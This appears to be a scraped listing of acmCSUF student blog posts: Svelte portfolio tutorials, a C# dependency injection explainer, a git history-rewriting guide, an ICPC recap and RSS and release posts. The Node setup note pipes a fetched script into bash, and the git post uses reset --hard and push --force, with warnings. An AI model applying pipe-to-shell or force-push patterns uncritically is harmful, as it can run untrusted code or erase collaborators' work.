        <p class="header__title">{title}</p>
      </a>
      <p>{description}</p>
    </div>
  {/each}
</section>

<style>
  .container__projects {
    margin-top: 10rem;
    display: flex;
    justify-content: center;
    flex-direction: column;
  }
  .header--big {
    font-size: 2.5rem;
    font-weight: 780;
  }
  .container__project {
    margin: 1rem;
  }
  .header__title {
    color: white;
    font-size: 1.5rem;
    font-weight: 600;
    transition: 400ms all;
  }
  .header__title:hover {
    color: #2c91c6;
  }
</style>

    Now, you've successfully built up a decent website 🤩 🤩 You can always check the full code HERE

    Let's see how're we going to deploy this in the next blog :D

    October 28, 2022 • 8 min read

    #dev#svelte

  • Daniel Truong

    Dev Portfolio Project Part 3 - About

    Introduction 🥳

    • In this blog, we'll guide you to create the About component for our portfolio website and it looks something like this

    Screen Shot 2022-10-21 at 1 36 59 PM

    What'll be covered in this blog 🤓

    • Display image on website
    • Props in Svelte

    Let's start 🤖

    Create About component

    • Similar to our NavBar in part 2, we'll create an About.svelte in our components folder

    Screen Shot 2022-10-21 at 1 58 44 PM

    NOTE: Don't forget to import our component in App.svelte - our main Svelte file

    Screen Shot 2022-10-21 at 2 28 57 PM

    Display an Image on our website

    • To display an image, we'll need to use the <img src="" alt=""> </img> in HTML, but we first need to have an image link, it can be image link from the internet or your local image files

    EX: Here's an online image link from Unsplash ( website for free images )

    https://images.unsplash.com/photo-1586115457457-b3753fe50cf1?ixlib=rb-4.0.3&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1576&q=80

    EX: Here's a local image ( We downloaded a .svg image and put it in our assets folder )

    Screen Shot 2022-10-21 at 1 51 45 PM

    Now, let's try to import our local image in our About.svelte

    <script>
  import frank from "../assets/frank.svg"; // Import our local image
</script>

<section>
  <div class="container__about" id="About">
 <!-- Import the frank image and have it as our image source with width = 180px and height = 123px -->
    <img width={180} height={123} src={frank} alt="" />
    <p class="header--small">Hi, I'm Frank </p>
    <p class="header--big">WELCOME TO MY PORTFOLIO</p>
  </div>
</section>

<style>
  .container__about {
    display: flex;
    flex-direction: column;
    align-items: center;
    margin-top: 10rem;
  }
  .header--small {
    font-size: 1.5rem;
    margin: 2rem 0 0 0;
    font-weight: 600;
  }

  .header--big {
    font-size: 2rem;
    color: #2C91C6;
    font-weight: 700;
  }
</style>

    Then, after you save file, you should see the an image of Frank along with the welcome message 🦈

    BONUS: Props in Svelte 👀

    In any real application, you'll need to pass data from one component down to its children. To do that, we need to declare properties, generally shortened to 'props'. In Svelte, we do that with the export keyword

    Let's see that with some code:

    Passing props

    App.svelte

    <script>
  import About from "./components/About.svelte";
  import NavBar from "./components/NavBar.svelte";
</script>

<main>
  <NavBar/>
 <!-- we're passing a string with props name ```name```  to About component -->
  <About name="Frank"/>
</main>

<style>
	main {
		margin: 1rem;
		font-size: 1.25rem;
	}
</style>

    Receiving props

    About.svelte

    <script>
  export let name; // receive props ```name```
  import frank from "../assets/frank.svg";
</script>

<section>
  <div class="container__about" id="About">
    <img width={180} height={123} src={frank} alt="" />
   <!-- We're using the props here -->
    <p class="header--small">Hi, I'm {name}</p> 
    <p class="header--big">WELCOME TO MY PORTFOLIO</p>
  </div>
</section>

<style>
  .container__about {
    display: flex;
    flex-direction: column;
    align-items: center;
    margin-top: 10rem;
  }
  .header--small {
    font-size: 1.5rem;
    margin: 2rem 0 0 0;
    font-weight: 600;
  }

  .header--big {
    font-size: 2rem;
    color: #2C91C6;
    font-weight: 700;
  }
</style>

    So, now if you change the props name into another string, it'll update the name in our About.svelte dynamically, so you can see that props will be helpful if we want to update dynamically instead of hard-coding the string 🥰

    Now, you've successfully made the About component 🤩 🤩 You can always check the full code HERE

    October 21, 2022 • 6 min read

    #dev#svelte

  • Daniel Truong

    Dev Portfolio Project Part 2 - NavBar

    Introduction 🥳

    • In this blog, we'll guide you to create a navigation bar for your website

    Prerequisites 🥸

    • Cloned the website and able to run it locally ( If not: check previous part )

    What you will learn 🤓

    • Brainstorming about website layout
    • Project folder + file structures
    • Components
    • Svelte #each loop
    • JavaScript Date object
    • ... many more

    Let's Start 🤖

    I. Website Layout 🌐

    Here's what our final website will look like

    Screen Shot 2022-10-13 at 3 20 27 PM

    Here's how it'll be broken down before jumping to code

    Screen Shot 2022-10-13 at 3 20 27 PM

    II. Let's take a look at our project structure 👀

    Here's what you will see when first start

    Screen Shot 2022-10-13 at 8 54 34 PM

    Although there're lots of folders to look at, we only focus on the "src" folder

    Screen Shot 2022-10-13 at 8 56 04 PM

    Here're the main files/folders you need to know

    • App.svelte is our main Svelte file
    • App.cssis our main global CSS file
    • lib folder contains our components which we will rename to "components" later on instead

    Let's do a quick clean up by removing things we don't need

    App.svelte: Delete everything but the tags

    Screen Shot 2022-10-13 at 9 01 47 PM

    App.css: Delete place-items:center ( line 30 ) since it'll make everything become center and we don't want that

    Screen Shot 2022-10-13 at 9 09 43 PM

    lib : Rename to components

    Screen Shot 2022-10-13 at 9 03 23 PM

    Delete Counter.svelte

    Screen Shot 2022-10-13 at 9 04 12 PM

    III. Good job, now let's start making our NavBar 🥳

    • Here's the NavBar we want to make:

    About, Experiences, Projects are link to our sections, Thursday is the current date ( we'll use JavaScript Date Object to make this )

    Screen Shot 2022-10-13 at 11 04 24 PM

    • In components folder, create a file called NavBar.svelte and add the necessary tags as follow

    Note: You don't need to have all tags as below, you can even have just a <nav> </nav> tag and it's still valid in Svelte

    Screen Shot 2022-10-13 at 9 08 38 PM

    Now, let's see how component works in Svelte

    • Type anything between <nav> </nav> ( because if you want to display something, it has to be within a HTML tag ) in your NavBar.svelte file and save it

    <p> </p> tag stands for paragraph

    Screen Shot 2022-10-13 at 9 18 57 PM

    • Now, if you run your website using npm run dev, it won't display that words because you have to import it in App.svelte - our main Svelte file

    Screen Shot 2022-10-13 at 9 21 05 PM

    Tada !! that's how you import a component , when you run your website again, you should see it display NavBar content

    Screen Shot 2022-10-13 at 9 23 16 PM

    Now, let's go back to NavBar.svelte and start creating our navigation bar

    You can copy paste this code block and read the comments to understand more

    <script>

</script>

<nav>
 <!-- We're creating a navigation bar with 3 items: About, Experiences, Projects\-->

     <section class="container__nav" id="/">
        <ol>  
  <!-- the href=#something  links to each section so we can create a scroll to section feature\-->
           <li>
               <a href='#About' class="nav__item">
                  About
               </a>
          </li>
          <li>
               <a href='#Experiences' class="nav__item">
                 Experiences
               </a>
         </li>
      <li>
          <a href='#Projects' class="nav__item">
            Projects
          </a>
     </li>
   </ol> 
</section>
</nav>

<style>
/* This is CSS style for our navigation bar */
   ol {
    list-style: none;
  }
  li {
    padding: 0;
  }
  .container__nav {
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: row;
  }
  .nav__item {
    color: white;
    font-weight: 600;
    font-size: 2rem;
    margin: 0 2rem;
    transition: all 400ms;
  }
  .nav__item:hover {
    color: rgb(0, 157, 255);
  }
  .time {
    color: #1a1a1a;
    font-weight: 700;
    background-color: #2C91C6;;
    padding: 0.35rem;
    margin: 0 2rem;
    border-radius: 12px;
  }
</style>

    Now, when you save the file, our NavBar will look nicer

    Screen Shot 2022-10-13 at 9 31 10 PM

    ⚠️ BUT, don't you think this block of code is kinda repetitive? we don't want to type the same thing every time we add a new item to our nav bar

    <ol class="container__nav" id="/">
  <!-- the href=#something  links to each section so we can create a scroll to section feature-->
      <li>
      <a href='#About' class="nav__item">
        About
      </a>
     </li>
     <li>
      <a href='#Experiences' class="nav__item">
        Experiences
      </a>
    </li>
     <li>
      <a href='#Projects' class="nav__item"\>
        Projects
      </a>
     </li>
  </ol>

    💡So, what we can do better by using Svelte #each loop, we'll create an Array of Objects that hold our nav items and then loop through every items and render it to the browser

    NavBar.svelte

    <script>
  // @ts-nocheck
  history.scrollRestoration = "manual" // Prevent automatic scrolling
  const navItems = [
    { title: "About", url: "#About" },
    { title: "Experiences", url: "#Experiences" },
    { title: "Projects", url: "#Projects" },
  ];

</script>

<nav>
  <section class="container__nav" id="/">
    <ol class="container_nav" id="/">
      {#each navItems as { title, url }}
        <li>
          <a href={url} class="nav__item">
            {title}
          </a>
        </li>
      {/each}
    </ol> 
  </section>
</nav>

<style>
   ol {
    list-style: none;
  }
  li {
    padding: 0;
  }
  .container__nav {
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: row;
  }
  .nav__item {
    color: white;
    font-weight: 600;
    font-size: 2rem;
    margin: 0 2rem;
    transition: all 400ms;
  }
  .nav__item:hover {
    color: rgb(0, 157, 255);
  }
  .time {
    color: #1a1a1a;
    font-weight: 700;
    background-color: #2C91C6;;
    padding: 0.35rem;
    margin: 0 2rem;
    border-radius: 12px;
  }
</style>

    JavaScript Date Object 📆

    Display the current date with custom parameters

    We can do that in the <script> </script> that allows us to use JavaScript magic

    let time = new Date(Date.now()); // Create Date Object
const options = { // We'll need this option for toLocaleDateString() method later on to display on the weekday
  weekday: "long",
};

    Then we can display it in our html like this to display current weekday:

    <p class="time">{time.toLocaleDateString(undefined, options)}<p>

    Here's the full code for NavBar.svelte

    <script>
  // @ts-nocheck
  history.scrollRestoration = "manual" // Prevent automatic scrolling
  const navItems = [
    { title: "About", url: "#About" },
    { title: "Experiences", url: "#Experiences" },
    { title: "Projects", url: "#Projects" },
  ];
  let time = new Date(Date.now());
  const options = {
    weekday: "long",
  };
</script>

<nav>
  <section class="container__nav" id="/">
    <ol class="container__nav" id="/">
      {#each navItems as { title, url }}
        <li>
          <a href={url} class="nav__item">
            {title}
          </a>
        </li>
      {/each}
    <p class="time">{time.toLocaleDateString(undefined, options)}</p>
  </ol>
  </section>
</nav>

<style>
   ol {
    list-style: none;
  }
  li {
    padding: 0;
  }
  .container__nav {
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: row;
  }
  .nav__item {
    color: white;
    font-weight: 600;
    font-size: 2rem;
    margin: 0 2rem;
    transition: all 400ms;
  }
  .nav__item:hover {
    color: rgb(0, 157, 255);
  }
  .time {
    color: #1a1a1a;
    font-weight: 700;
    background-color: #2C91C6;;
    padding: 0.35rem;
    margin: 0 2rem;
    border-radius: 12px;
  }
</style>

    Now, you've successfully made the navigation bar 🤩 🤩 You can always check the full code HERE

    October 13, 2022 • 12 min read

    #dev#svelte

  • Daniel Truong

    Dev Portfolio Project Part 1 - Getting Started

    Introduction 🥳

    • This is a beginner friendly series made by acmDev team with the goal to help beginner developers create their first website using Svelte ( Javascript framework to build website )

    What'll be covered in this blog 🤓

    • Required installation for the project
    • Setup the project ( clone the repo )
    • Run the project locally

    Let's start 🤖

    A. Technology Installation:

    • VSCode ( text editor - where you'll code ) - Required
    • Node.js v16+ ( JavaScript environment to help you install Svelte later on ) - Required
      • Note for Ubuntu/Tuffix users: Refer to the instructions at the bottom of the page
    • Svelte Plugins ( after you've downloaded VSCode, open Extensions and search for Svelte to install the plugins - it helps you highlight code and autocomplete with Svelte syntax) - Required
    • Git ( for collaboration purpose and you'll need to use this in real world but not necessary for this project ) - Optional

    B. Setup the project:

    Project Template Link

    1. Clone the repo ( 2 ways )

    1. Using Git ( You'll need to Download Git first )
    • Type the command git clone https://github.com/acmCSUFDev/website-template.git in your terminal to clone
    1. Download the ZIP file from this repo ( Beginner Friendly )

    Screen Shot 2022-10-06 at 4 09 14 PM

    2. Open with VSCode

    • Once you've cloned our website template, UNZIP the folder if you choose method 2, then open the folder you've just unzipped in VSCode

    Screen Shot 2022-10-06 at 4 11 25 PM

    C. Run the project locally

    1. Have Node.js installed.

    2. In your VSCode, in the project folder, open Terminal and type
      npm install

    3. After npm install, you should see a folder called node_modules which indicated you've used npm install correctly

    4. Run your website by typing and click on the link provided
      npm run dev

    Screen Shot 2022-10-06 at 4 17 18 PM

    After you click on the link provided, you should see our beautiful Svelte template :) congrats 🤩

    Note on installing Node.js on Ubuntu/Tuffix

    By default, sudo apt install nodejs will install node v10 which is incompatible with Svelte. To remedy this, first uninstall the existing nodejs and npm installation with sudo apt remove nodejs npm and install Node Version Manager using

    wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.2/install.sh | bash

    Afterwards, restart your terminal to load the new nvm command.

    Now run nvm install 16 and nvm use 16 to install and set node v16 as the default version

    Run node -v to verify the correct version is now in use

    October 13, 2022 • 3 min read

    #dev#svelte

  • Charlie Taylor

    Design Pattern Discussions #1: Dependency Injection 💉

    Do you need your services now? Do you need them to be able to be swapped for others with a shared interface? Are you tired of instantiating everything where and when you need it? Well, there’s already a solution to this called dependency injection!

    …

    But what does that mean?

    Dependencies

    To know what we’re talking about, we need to define what we’re talking about. In this case, a dependency is simply a class that offers functionality to another.

    Example:

    Class A creates, retrieves, updates, and deletes (CRUD) posts on a specific arcade game forum.

    But when we want to retrieve those posts, we also want to retrieve comments made on it.

    Class B handles the CRUD for comments.

    If Class A wants to send off a post with all of its comments, it must use some functionality from Class B, making Class B a dependency of Class A

    —

    That makes sense, we should be able to use our code from anywhere so we can reuse already written tools. So let’s take a look at this with some example code. (We’ll be looking at C#)

    public class A
{
 private B bService;
 public A()
 {
   bService = new B();
 }
 
 //...
}

    Not bad so far, we have A and it can use B! The real world is not so forgiving though, A and B are sure to have more dependencies right? We need to call the database to get the posts and comments, as well as the users who are making them. Alright, let’s see how that looks.

    public class A
{
 private B bService;
 private PostRepository postRepository;
 private UserRepository userRepository;
 
 public A()
 {
   postRepository = new PostRepository();
   userRepository = new UserRepository();
   bService = new B();
 }
 
 // ...
}
 
public class B
{
 private CommentRepository commentRepository;
 private UserRepository userRepository;
 
 public B()
 {
   commentRepository = new CommentRepository();
   userRepository = new UserRepository();
 }
 
 // ...
}

    And what if we have something that needs even more dependencies?

    public class CompanyService
{
   private AuthenticatedUserModelProvider _authenticatedUserModelProvider;
   private CompanyRepository _companyRepository;
   private CompanyViewsRepository _companyViewsRepository;
   private CustomFieldDefinitionService _customFieldDefinitionService;
   private Mapper _mapper;
   private UserAccountService _userAccountService;
   private SearchlightEngine _searchlightEngine;
   private CodeDefinitionService _codeDefinitionService;
   private CacheClient _cache;
   private CacheInvalidator _cacheInvalidator;
   private Logger<CompanyService> _logger;
   private Validator<CompanyModel> _validator;
 
 public CompanyService()
 {
     _authenticatedUserModelProvider = new AuthenticatedUserModelProvider(...);
     _companyRepository = new CompanyRepository(...);
     _companyViewsRepository = new CompanyViewsRepository(...);
     _mapper = new Mapper(...);
     _searchlightEngine = new SearchlightEngine(...);
     _customFieldDefinitionService = new CustomFieldDefinitionService(...);
     _userAccountService = new UserAccountService(...);
     _codeDefinitionService = new CodeDefinitionService(...);
     _cache = new CacheClient(...);
     _cacheInvalidator = new CacheInvalidator(cacheName);
     _logger = new Logger<CompanyService>(...);
     _validator = new Validator<CompanyModel>(...);
 }
}

    Oh… this is getting a bit complicated! Imagine if all of the ellipses were more classes being instantiated to allow this CompanyService to be made, it would be a total mess. And what if we wanted to use a different cache or mapper? Would we have to change this code to allow other ones to be used?

    What if we had a separate tool that provided these dependencies to A, B, and the CompanyService? That’s exactly what dependency injection (DI) sets out to do. At runtime, A will ask DI for B, the PostRepository, and the UserRepository. It is DI’s job to construct these classes and provide them, rather than the classes themselves needing to worry about managing the dependencies of the dependencies. This idea that the class should not worry about managing dependencies adheres to the idea of Inversion of Control.

    An example of a dependency injection is constructor injection, where the classes made by DI are passed to the class’s constructor. This is done by having interface parameters for the class that can allow any class that implements the interface to be injected into it.

    What is an interface?

    Also called an abstract class, an interface is just a type definition that can not be directly instantiated like a normal class. It is only to define what methods/members will be in a class. In C#, it is good practice to name interfaces starting with a capital I to denote that it is an Interface.

    Example:

    public interface IQuadrilateral
{
 public double Area();
 public double Perimeter();
}
 
public Square : IQuadrilateral
{
 private double side;
 
 //...
 
 public double Area()
 {
   return side * side;
 }
 
 public double Perimeter()
 {
   return side * 4;
 }
}
 
public Rectangle : IQuadrilateral
{
 //...
}

    This may sound a little confusing, so let’s take a look at A and B when using constructor dependency injection, rather than instantiating classes.

    public class A
{
 private IBService bService;
 private IPostRepository postRepository;
 private IUserRepository userRepository;
 
 public A(IBService b, IPostRepository postRepo, IUserRepository userRepo)
 {
   bService = b;
   postRepository = postRepo;
   userRepository = userRepo;
 }
 
 // ...
}
 
public class B : IBService
{
 private ICommentRepository commentRepository;
 private IUserRepository userRepository;
 
 public B(ICommentRepository commentRepo, IUserRepository userRepo)
 {
   commentRepository = commentRepo;
   userRepository = userRepo;
 }
 
 // ...
}

    Just like the previous example of A and B, both of these classes need dependencies but now have them coming as parameters in the constructor. At runtime, DI figures out what classes need to be injected based on the interface. This is also convenient since the UserRepository can be made once and passed along to both A and B.

    As seen in the interface example as well, what if we have an interface with multiple implementations that needs to be injected? This makes interchanging classes easy, like if we have an IFood interface, we can inject a Sushi or CornDog class.

    There is more to be learned about dependency injection, and these examples are just one way of implementing it. Check out some of these sources for more information and how to use it:

    https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection
    https://www.tutorialsteacher.com/ioc/dependency-injection

    Tune in for Part 2 of Design Pattern Discussions (DPD) coming soon(ish)!

    October 6, 2022 • 7 min read

  • Karnikaa Velumani

    What's poppin in acmcsuf.com v3.0?

    acmcsuf.com v3.0

    This release marks the completion of the ACM CSUF website v3.0 milestone 💫

    Spring '22 semester sprint

    Contributors

    During the Spring 2022 school semester, the acmcsuf.com team accomplished another great number of feats. This semester we gained an additional 8 new members to the web dev team! Each contributor got a step closer into the field of website development and through this experience, they can take this knowledge to further improve their skills. Thank you to everyone for the contributions!

    New to acmcsuf.com hub

    If you are interested in following along with us and becoming an acmcsuf.com v4.0 contributor, just watch out for any announcements on our blog (https://acmcsuf.com/blog) or the acmCSUF Discord server.

    What's Changed

    Full Changelog: v2.0...v3.0
    GitHub Discussion (Mirror): #491
    Blog Post on acmcsuf.com (Mirror): https://acmcsuf.com/blog/491
    GitHub Release (Original post): https://github.com/EthanThatOneKid/acmcsuf.com/releases/tag/v3.0

    This discussion was created from the release What's poppin in acmcsuf.com v3.0?.

    June 2, 2022 • 14 min read

    #release

  • @jaasonw

    Git Good #1: Rewriting History

    Welcome to part 1 out of ??? of my git series (super original title I know) covering slightly intermediate to advanced topics that you may or may not have been familiar with. I figured what better way to start this series than by covering some of what are possibly the most dangerous commands in git and when you might want to use them. This blog post will cover 2 methods to rewrite history.

    WARNING: you almost NEVER want to rewrite history as it tends to end up being a great way to either shoot yourself in the foot, shoot someone else in the foot, or blow off the legs of everybody involved. If this is your own repository and you are the only contributor, then by all means, go off. If this is someone else’s repository then you should reconsider or instead consider using a git revert instead as it amends rather than rewrites history. However, if your intent is to erase commits from the commit log entirely then this guide is for you.

    Scenario 1: You want to rewind to a specific commit, nuking all newer commits

    image
    What’s this? You accidentally directly pushed to the acmcsuf.com main branch and are now panicking because Karni might beat your ass the next time she sees you? Well there’s no need to fear because this is where dangerous git command # 1 comes into play.

    git reset --hard

    1. Head over to Github and copy the SHA of the commit you want to rewind to
      image

    2. Head over to your terminal and run git reset --hard [SHA]. This will rewind your local copy of the repository to the commit you want, discarding ALL modified changes. If you’d still like to keep the changes without committing them, just exclude the --hard
      image

    3. If you tried to git push now, your changes would be rejected as they would rewrite history in the upstream copy
      image

    4. To remedy this, simply run dangerous git command # 2: git push --force which should be pretty self explanatory in what it does, which is to force git to accept your changes whether it likes it or not
      image

    As you can see, our commits are now gone and your ass is now saved from Karni

    Scenario 2: You want to remove a specific commit or multiple commits but keep the rest

    image
    Uh oh, you committed the wrong commit to the wrong branch and then committed more commits on top of that commit, Karni’s really gonna beat your ass now. Don’t worry, once again I got you covered with dangerous git command # 3

    git rebase --interactive (or just git rebase -i)

    Admittedly this command tends to be less dangerous, less easy to mess up, and actually legitimately useful for doing things like splitting a pull request with 3 features into 3 separate branches. Rebasing could honestly be a whole blog post on its own but I’ll be covering just 1 specific use case here

    1. Just like above, pick the commit you want to go back to and start picking from
      image

    2. Head back over to your terminal and run git rebase -i [SHA], this will open a text editor, either nano or vim (personally I don’t know how to use vim so if you get vim then just press i to put it in notepad mode and use it like notepad)
      image

    3. From here, you’ll see a list of commits past the commit you selected earlier, to remove a commit, either delete the line or replace pick with drop
      image

    4. If you’re using vim it’s escape -> :wq to save and quit, if you’re using nano it’s ctrl + x

    5. From here you may or may not have to resolve any rebase conflicts which are just like merge conflicts so go ahead and get those resolved if applicable

    6. Once again, this rewrites history so you’ll have to use git push --force again and the commit in question should now be erased and your ass is once again saved from a beating
      image
      Thanks for reading and once again please use caution when using these as they are as dangerous as they are powerful and you can easily lose your own or someone else's commits in the process or create a merge conflict problem for someone else when they suddenly can't push to main. Best advice I can give to minimizing this kind of damage is to only use these commands on branches/forks that only you work on and to never do this on main.

    Edit 6/8/2022: Make use of newly added code block support

    May 23, 2022 • 5 min read

    #git

  • Ethan Davidson

    Participating in the ICPC 2022 SoCal Regionals

    5 students made CSUF history on Saturday, February 26th at the ICPC 2022 SoCal regionals:

    ICPC 2022 CSUF athlete portraits (right to left, top to bottom): Aaron Lieberman, Justin Stitt, Yao Lin, Ethan Davidson, and Charlie Taylor

    The event was held at Riverside City College. Check-in began in the morning, then breakfast was served at the event once we got in.

    There was a practice session after breakfast to make sure the competition would go smoothly on the technical side and to make sure all the competitors were aware of the given development environment’s capabilities.

    After the practice session, we had free lunch out of a Habit food truck. We then began the competition after the lunch break ended.

    Once the time for the competition had run out, all the competitors left their battle stations that they had been hunched over for the last 5 hours. We then went back to the place where we originally ate breakfast. At that point, the results of the competition were not finalized; the results of the last fifteen minutes of code submissions were unknown so that we could experience a suspenseful ending ceremony.

    In the end, a team from Caltech narrowly earned the highest score with the UCLA team coming in a close second. As for us, our 2022 teams scored the highest combined total score in CSUF x ICPC history 😆

    If you are interested in learning valuable competitive programming skills, you can come to acmAlgo meetings throughout the semester where our acmAlgo officers will guide you down the mind-blowing rabbit-hole of programming. To learn more, register as a CSUF student on our Discord server to chat with our community members.

    March 4, 2022 • 2 min read

    #algo

  • Aaron Lieberman

    Top 10 reasons to not comment your code
      1. It makes the code longer
      1. It makes the code uglier (its a weird gray)
      1. How do you even comment (its different for every language)
      1. no one be reading your code
      1. your comments are bad anyways

    thank you for coming to my ted talk

    January 25, 2022 • 1 min read

  • Ethan Davidson

    acmcsuf.com ♥ RSS

    acmcsuf.com ♥ RSS

    tl;dr: Check out our RSS feed on https://acmcsuf.com/feed.xml! 😎

    What is RSS?

    RSS is a specification built on top of XML which stands for Really Simple Syndication. Computer people tend to use RSS to keep track of things on the Internet that they want to be notified about when anything new is published. This technology is useful for the syndication of things like blog posts, but can really be used for all types of digital publications imaginable.

    How do we leverage RSS?

    Here on acmcsuf.com, our blog feature is an outlet for our community to publish computer science-related posts or in-depth updates/reflections about community events. In order to make sure people are notified as soon as a new post is published, we must be RSS-compatible. Lucky for us, RSS is really, really simple and only uses a single HTTP endpoint. You can find ours on https://acmcsuf.com/feed.xml.

    How can you use RSS in your daily life?

    There are many ways people choose to indulge in RSS feeds. One way is to use a simple piece of software found online (e.g. desktop application, browser extension, etc.). A simple search in your favorite search engine should give you an up-to-date result.

    To subscribe to an RSS feed, all you need is a single HTTP endpoint commonly ending with .rss or .xml since RSS is expressed as an XML (Extensible Markup Language) document. Copy our HTTP endpoint below to subscribe within your RSS feed manager.

    https://acmcsuf.com/feed.xml

    Note: Other standards exist such as Atom and JSON feed and are often used as alternatives to RSS.

    Choosing RSS feeds to follow

    You're free to follow any publication that you like as long as you can find it online for free! For starters, you have https://acmcsuf.com/feed.xml. If you have a favorite Subreddit, you can subscribe to its RSS feed using the RSS feed URL pattern, https://reddit.com/r/<your_subreddit>.rss (example: https://reddit.com/r/csuf.rss). Most blogs and major Internet platforms incorporate RSS into their sites, so it is up to you to keep an eye out for the [commonly orange] RSS logo! This symbol indicates the existence of an RSS feed.

    RSS logo

    Making your own RSS feed manager

    If you are looking into learning more about RSS hands-on, you can actually interface with any RSS feed on the web as long as your favorite programming language has a trustworthy library for parsing RSS feeds (or at least XML documents).

    Note: If your language of choice does not have such a library, you will just have to implement the entire RSS specification yourself, which is not particularly trivial, so I’d recommend finding a language that is capable to make things easier for yourself.

    For instance, we use node-rss to format the RSS document found on https://acmcsuf.com/feed.xml. Below are some libraries I found on GitHub that you can start with.

    RSS v2.0.1 Compatible APIs

    Language Library
    Node.js node-rss
    Python feedparser
    Go gofeed

    See also

    Last updated

    • 2022-11-05: Rename /blog.xml to /feed.xml.

    🎉 posted in celebration of v2.0 launch (release, milestone)

    January 25, 2022 • 3 min read

  • Ethan Davidson

    What's new in acmcsuf.com v2.0?

    acmcsuf.com v2.0

    This release marks the completion of the ACM CSUF website v2.0 milestone 💫

    Fall '21 semester sprint

    Contributors

    During the Fall 2021 school semester, the acmcsuf.com team accomplished many feats of engineering and broadened our technical horizons. This semester, we broke 10 (OMG!) total contributors in this repository! Each contributor took major steps forward in learning about open source web development and working in an organization-like setting with other human engineers. Congrats to everyone who contributed towards this release!

    New to acmcsuf.com hub

    If you are interested in following along with us and becoming an acmcsuf.com v3.0 contributor, just watch out for any announcements on our blog (https://acmcsuf.com/blog) or the acmCSUF Discord server.

    What's changed

    This release at a glance

    Notable changes [Auto-generated]

    Minor changes [Auto-generated]

    Full Changelog: v1.1...v2.0
    GitHub Discussion (Mirror): #262
    Blog Post on acmcsuf.com (Mirror): https://acmcsuf.com/blog/262
    GitHub Release (Original post): https://github.com/EthanThatOneKid/acmcsuf.com/releases/tag/v2.0

    January 24, 2022 • 9 min read

    #release